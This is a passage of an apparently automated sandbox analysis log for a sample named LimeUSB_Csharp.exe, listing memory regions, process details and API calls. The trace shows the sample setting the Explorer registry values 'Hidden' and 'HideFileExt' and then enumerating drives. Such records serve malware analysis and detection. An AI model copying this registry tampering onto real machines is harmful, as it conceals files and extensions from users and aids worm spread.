"limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3732 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3733 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3734 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3735 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3736 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 3737 start_va = 0x7fef3760000 end_va = 0x7fef381cfff monitored = 0 entry_point = 0x7fef37e7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 3738 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3739 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3740 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3741 start_va = 0x7fe91890000 end_va = 0x7fe9189ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91890000" filename = "" Region: id = 3742 start_va = 0x7fe918a0000 end_va = 0x7fe918affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918a0000" filename = "" Region: id = 3743 start_va = 0x7fe918b0000 end_va = 0x7fe9193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe918b0000" filename = "" Region: id = 3744 start_va = 0x7fe91940000 end_va = 0x7fe919affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91940000" filename = "" Region: id = 3745 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3746 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3747 start_va = 0x28f0000 end_va = 0x29dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 3748 start_va = 0x29e0000 end_va = 0x2c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 3749 start_va = 0x29e0000 end_va = 0x2adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 3750 start_va = 0x2b90000 end_va = 0x2c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 3751 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3752 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3753 start_va = 0x2c10000 end_va = 0x1ac0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c10000" filename = "" Region: id = 3754 start_va = 0x1ac10000 end_va = 0x1af8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac10000" filename = "" Region: id = 3755 start_va = 0x1af90000 end_va = 0x1b090fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af90000" filename = "" Region: id = 3756 start_va = 0x1b220000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b220000" filename = "" Region: id = 3757 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3758 start_va = 0x1b120000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 3759 start_va = 0x1b320000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 3760 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3761 start_va = 0x1b420000 end_va = 0x1b6eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3762 start_va = 0x7feef8e0000 end_va = 0x7fef0edcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 3763 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 3764 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 3765 start_va = 0x7fe919b0000 end_va = 0x7fe91a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919b0000" filename = "" Region: id = 3766 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3767 start_va = 0xe00000 end_va = 0xe7cfff monitored = 0 entry_point = 0xe0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3768 start_va = 0xec0000 end_va = 0xecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 3769 start_va = 0xe00000 end_va = 0xe7cfff monitored = 0 entry_point = 0xe0cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3770 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3773 start_va = 0x7fef8e60000 end_va = 0x7fef8e62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3774 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 3775 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3776 start_va = 0x1b6f0000 end_va = 0x1b91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6f0000" filename = "" Region: id = 3777 start_va = 0x7fe91a30000 end_va = 0x7fe91a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a30000" filename = "" Region: id = 3778 start_va = 0xe00000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3779 start_va = 0xe00000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3780 start_va = 0x7feee000000 end_va = 0x7feeec6efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 3781 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 3782 start_va = 0x7feebc30000 end_va = 0x7feeccd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 3783 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 3784 start_va = 0xe20000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 3785 start_va = 0xe30000 end_va = 0xe3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 3786 start_va = 0xe00000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3787 start_va = 0x7fef8db0000 end_va = 0x7fef8dc5fff monitored = 1 entry_point = 0x7fef8dbe5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 3788 start_va = 0x1b920000 end_va = 0x1bbf1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 116 os_tid = 0x998 [0210.642] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0215.362] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x22e908 | out: phkResult=0x22e908*=0x1c4) returned 0x0 [0215.365] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e958, lpData=0x0, lpcbData=0x22e950*=0x0 | out: lpType=0x22e958*=0x4, lpData=0x0, lpcbData=0x22e950*=0x4) returned 0x0 [0215.366] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e958, lpData=0x22e938, lpcbData=0x22e950*=0x4 | out: lpType=0x22e958*=0x4, lpData=0x22e938*=0x2, lpcbData=0x22e950*=0x4) returned 0x0 [0215.502] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e918, lpData=0x0, lpcbData=0x22e910*=0x0 | out: lpType=0x22e918*=0x4, lpData=0x0, lpcbData=0x22e910*=0x4) returned 0x0 [0215.503] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x22e988*=0x2, cbData=0x4 | out: lpData=0x22e988*=0x2) returned 0x0 [0215.504] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e958, lpData=0x0, lpcbData=0x22e950*=0x0 | out: lpType=0x22e958*=0x4, lpData=0x0, lpcbData=0x22e950*=0x4) returned 0x0 [0215.504] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e958, lpData=0x22e938, lpcbData=0x22e950*=0x4 | out: lpType=0x22e958*=0x4, lpData=0x22e938*=0x1, lpcbData=0x22e950*=0x4) returned 0x0 [0215.504] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e918, lpData=0x0, lpcbData=0x22e910*=0x0 | out: lpType=0x22e918*=0x4, lpData=0x0, lpcbData=0x22e910*=0x4) returned 0x0 [0215.504] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x22e988*=0x1, cbData=0x4 | out: lpData=0x22e988*=0x1) returned 0x0 [0215.508] GetLogicalDrives () returned 0x4 [0215.525] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d898 | out: phkResult=0x22d898*=0x0) returned 0x2 [0215.525] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0215.639] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22e2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0215.641] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0215.644] CoGetContextToken (in: pToken=0x22f7a0 | out: pToken=0x22f7a0) returned 0x0 [0215.644] CObjectContext::QueryInterface () returned 0x0 [0215.644] CObjectContext::GetCurrentThreadType () returned 0x0 [0215.644] Release () returned 0x0 [0215.645] CoGetContextToken (in: pToken=0x22f240 | out: pToken=0x22f240) returned 0x0 [0215.645] CObjectContext::QueryInterface () returned 0x0 [0215.645] CObjectContext::GetCurrentThreadType () returned 0x0 [0215.645] Release () returned 0x0 [0215.646] CoGetContextToken (in: pToken=0x22f240 | out: pToken=0x22f240) returned 0x0 [0215.646] CObjectContext::QueryInterface () returned 0x0 [0215.646] CObjectContext::GetCurrentThreadType () returned 0x0 [0215.646] Release () returned 0x0 [0215.650] CoGetContextToken (in: pToken=0x22f240 | out: pToken=0x22f240) returned 0x0 [0215.650] CObjectContext::QueryInterface () returned 0x0 [0215.650] CObjectContext::GetCurrentThreadType () returned 0x0 [0215.651] Release () returned 0x0 [0215.653] CoGetContextToken (in: pToken=0x22f260 | out: pToken=0x22f260) returned 0x0 [0215.653] CObjectContext::QueryInterface () returned 0x0 [0215.653] CObjectContext::GetCurrentThreadType () returned 0x0 [0215.653] Release () returned 0x0 [0215.655] CoUninitialize () Thread: id = 117 os_tid = 0x91c Thread: id = 118 os_tid = 0x798 [0213.209] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0215.648] RegCloseKey (hKey=0x1c4) returned 0x0 [0215.649] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 119 os_tid = 0x1d4 Process: id = "24" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x9d4f000" os_pid = "0x118" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3804 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3805 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3806 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3807 start_va = 0x1b0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3808 start_va = 0x330000 end_va = 0xdf3fff monitored = 1 entry_point = 0xdee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3809 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3810 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3811 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3812 start_va = 0x7fff2000 end_va = 0x7fff2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff2000" filename = "" Region: id = 3813 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3814 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3815 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3816 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3817 start_va = 0xe00000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3818 start_va = 0x7fef8d10000 end_va = 0x7fef8d7efff monitored = 1 entry_point = 0x7fef8d11134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3819 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3820 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3821 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3822 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3823 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3824 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3825 start_va = 0xfe0000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 3826 start_va = 0xe00000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 3827 start_va = 0xf60000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 3828 start_va = 0xfe0000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 3829 start_va = 0x11b0000 end_va = 0x11bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 3830 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3831 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3832 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3833 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3834 start_va = 0xc0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3835 start_va = 0xfe0000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 3836 start_va = 0x1100000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 3837 start_va = 0x7fef3c20000 end_va = 0x7fef3cc8fff monitored = 1 entry_point = 0x7fef3c21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 3838 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 3843 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3844 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3845 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3846 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3847 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3848 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3849 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 3850 start_va = 0x11c0000 end_va = 0x1347fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011c0000" filename = "" Region: id = 3851 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3852 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3853 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3859 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3860 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3861 start_va = 0x1350000 end_va = 0x14d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001350000" filename = "" Region: id = 3862 start_va = 0x14e0000 end_va = 0x28dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014e0000" filename = "" Region: id = 3863 start_va = 0x28e0000 end_va = 0x339cfff monitored = 1 entry_point = 0x339e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3864 start_va = 0x28e0000 end_va = 0x339cfff monitored = 1 entry_point = 0x339e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 3865 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3866 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3867 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3872 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 3873 start_va = 0x7fefb320000 end_va = 0x7fefb335fff monitored = 0 entry_point = 0x7fefb32c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 3874 start_va = 0x7fef3760000 